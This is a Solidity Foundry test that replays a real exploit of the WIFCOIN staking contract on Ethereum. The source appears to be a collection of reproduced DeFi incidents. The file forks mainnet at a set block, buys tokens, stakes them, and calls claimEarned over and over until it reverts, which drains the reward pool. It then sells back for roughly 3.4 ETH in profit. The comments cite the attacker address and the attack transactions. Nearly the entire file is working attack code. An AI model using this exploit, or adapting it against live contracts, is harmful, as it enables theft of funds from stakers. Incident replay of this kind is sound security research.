WIFCOIN_ETH_exp.sol

pragma solidity ^0.8.10;

import "../basetest.sol";
import "./../interface.sol";

// Profit : ~3.4 ETH
// Attacker: https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892
// Attack Contract: https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada
// TX1 : https://etherscan.io/tx/0xda8f6a4bed7e5689a343d111632d37480c0316f1d20b732803c4bd482823e284
// TX2 : https://etherscan.io/tx/0x58424115c6576b19cfb78b0b7ff00e0c13daa06d259f2a67210c112731519e09

// GUY : https://x.com/ChainAegis/status/1802550962977964139

interface WIFStaking is IERC20 {
    function stake(uint256 _stakingId, uint256 _amount) external;
    function claimEarned(uint256 _stakingId, uint256 _burnRate) external;
}

contract WIFCOIN_ETHExploit is BaseTestWithBalanceLog {
    WIFStaking WifStake = WIFStaking(0xA1cE40702E15d0417a6c74D0bAB96772F36F4E99);
    IERC20 Wif = IERC20(0xBFae33128ecF041856378b57adf0449181FFFDE7);

    Uni_Router_V2 router = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));
    uint256 ethFlashAmt = 0.3 ether;

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("mainnet", 20_103_189);
        Wif.approve(address(router), type(uint256).max);
        Wif.approve(address(WifStake), type(uint256).max);
        fundingToken = address(0);
    }

    function testExploit() public balanceLog {
        //Paths
        address[] memory buyPath = new address[](2);
        buyPath[0] = address(router.WETH()); // weth
        buyPath[1] = address(Wif); // token
        address[] memory sellPath = new address[](2);
        sellPath[0] = buyPath[1];
        sellPath[1] = buyPath[0];

        //set ethbal to 0.3 eth to buy tokens
        vm.deal(address(this), ethFlashAmt);
        router.swapExactETHForTokens{value: ethFlashAmt}(0, buyPath, address(this), block.timestamp);

        WifStake.stake(3, Wif.balanceOf(address(this)));
        while (true) {
            try WifStake.claimEarned(3, 10) {}
            catch {
                break;
            }
        }

        router.swapExactTokensForETH(Wif.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp);

        //Remove initial flash eth to get actual ETH profit
        vm.deal(address(this), address(this).balance - ethFlashAmt);
    }
}